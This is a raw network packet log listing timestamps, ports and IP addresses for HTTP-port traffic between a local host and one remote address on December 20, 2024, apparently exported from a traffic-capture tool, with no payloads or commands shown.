Dec 20, 2024 16:08:21.843291998 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.844060898 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.844161034 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.846436024 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.846452951 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.846503973 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.846503973 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.848422050 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.848439932 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.848483086 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.848483086 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.851036072 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.851211071 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.851742029 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.851865053 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.853379011 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.853447914 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.854054928 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.854576111 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.855665922 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.855678082 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.855722904 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.855722904 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.858068943 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.858807087 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.858812094 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.858917952 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.859738111 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.860156059 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.860436916 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.860614061 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.862823009 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.862833977 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.862878084 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.862878084 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.864341021 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.864357948 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.864389896 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.864389896 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.865225077 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.865474939 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.865582943 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.865595102 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.865605116 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.865638018 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.865638018 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.866334915 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.866352081 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.866383076 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.866415977 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.867129087 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.867141008 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.867181063 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.867181063 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.867916107 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.867928028 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.867966890 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.867966890 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.868674040 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.868685007 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.868696928 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.868707895 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.868741035 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.868741989 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.869472027 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.869483948 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.869524002 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.869524002 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.870271921 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.870282888 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.870321035 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.870321035 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.871007919 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.871020079 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.871059895 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.871059895 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.871781111 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.871793985 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.871839046 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.871839046 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.872575045 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.872587919 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.872598886 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.872658968 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.872658968 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.873347998 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.873361111 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.874044895 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.874124050 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.874136925 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.874203920 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.874203920 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.874927998 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.874941111 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.875063896 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.875746012 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.875758886 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.875771046 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.875824928 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.875825882 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.876346111 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.876396894 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.981298923 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.981353998 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.981437922 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.981544018 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.981750011 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.981801987 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.982048988 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.982094049 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.982553959 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.982629061 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.982933998 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.983006954 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.983464003 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.983500957 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.990156889 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.990288973 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.990494013 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.990673065 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.990688086 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.990731001 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.991245985 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.991301060 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.991530895 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.991600990 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.991765976 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.991832018 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.992326975 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.992372990 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.992532015 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.992575884 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.993534088 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.993596077 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.993869066 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.994023085 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.994091034 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.994146109 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.994304895 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.994366884 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.994942904 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.994990110 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.995110989 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.995163918 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.995799065 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.995843887 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.995981932 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.996022940 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.996665955 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.996705055 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.997139931 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.997284889 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.997607946 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.997730970 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.997747898 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.997782946 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.998392105 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.998465061 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.998580933 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.998727083 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.000557899 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.000617027 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.001312971 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.001360893 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.002580881 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.002613068 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.002640963 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.002652884 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.003979921 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.004009962 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.004034042 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.004070044 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.004652977 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.004743099 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.005403996 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.005415916 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.005441904 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.005476952 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.005991936 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.006006002 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.006046057 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.006046057 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.006701946 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.006714106 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.006725073 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.006768942 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.006768942 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.009466887 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.009495020 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.009516954 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.009562016 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.010813951 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.010826111 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.010848045 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.010865927 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.012234926 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.012279987 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.012883902 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.012996912 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.014245987 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.014260054 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.014303923 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.014303923 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.015921116 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.015955925 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.015994072 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.015994072 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.017165899 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.017199993 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.017244101 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.017244101 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.018496990 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.018594027 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.019124985 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.019197941 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.020473003 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.020508051 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.020525932 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.020574093 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.021811962 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.021827936 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.021882057 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.021882057 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.023266077 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.023277044 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.023330927 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.026110888 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.026123047 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.026262045 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.027445078 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.027498960 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.027518034 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.027537107 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.028848886 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.028918028 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.029423952 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.029479980 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.030061960 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.030123949 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.030730009 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.030786991 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.032105923 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.032118082 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.032162905 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.032162905 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.033461094 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.033480883 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.033514023 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.033514023 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.034849882 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.034981012 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.035520077 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.035564899 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.037497044 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.037518024 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.037556887 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.037615061 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.038718939 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.038732052 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.038769007 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.038804054 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.040112019 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.040182114 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.040712118 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.040786028 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.042157888 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.042224884 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.042805910 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.042958021 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.043564081 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.043689966 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.044193029 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.044245958 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.045536995 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.045552015 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.046215057 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.046920061 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.046930075 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.046989918 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.048297882 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.048507929 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.049005032 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.049581051 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.050338984 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.050349951 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.050611973 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.051692963 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.051743984 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.052067041 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.052233934 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.053541899 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.053606033 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.054121971 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.054133892 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.054171085 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.054811001 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.054822922 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.054855108 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.055495024 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.055507898 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.055517912 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.055568933 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.055568933 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.056174994 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.056188107 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.056225061 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.174042940 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.174169064 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.174181938 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.174187899 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.174242973 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.174242973 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.174789906 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.174876928 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.175056934 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.175124884 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.175329924 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.175380945 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.175601006 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.175656080 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.182496071 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.182616949 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.182662010 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.182769060 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.183021069 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.183032990 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.183064938 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.183811903 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.183865070 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.183995008 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.184108973 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.184669971 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.184683084 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.184756994 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.185499907 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.185569048 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.185625076 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.185717106 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.186326981 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.186374903 CET	49965	80	192.168.2.5	31.41.244.11
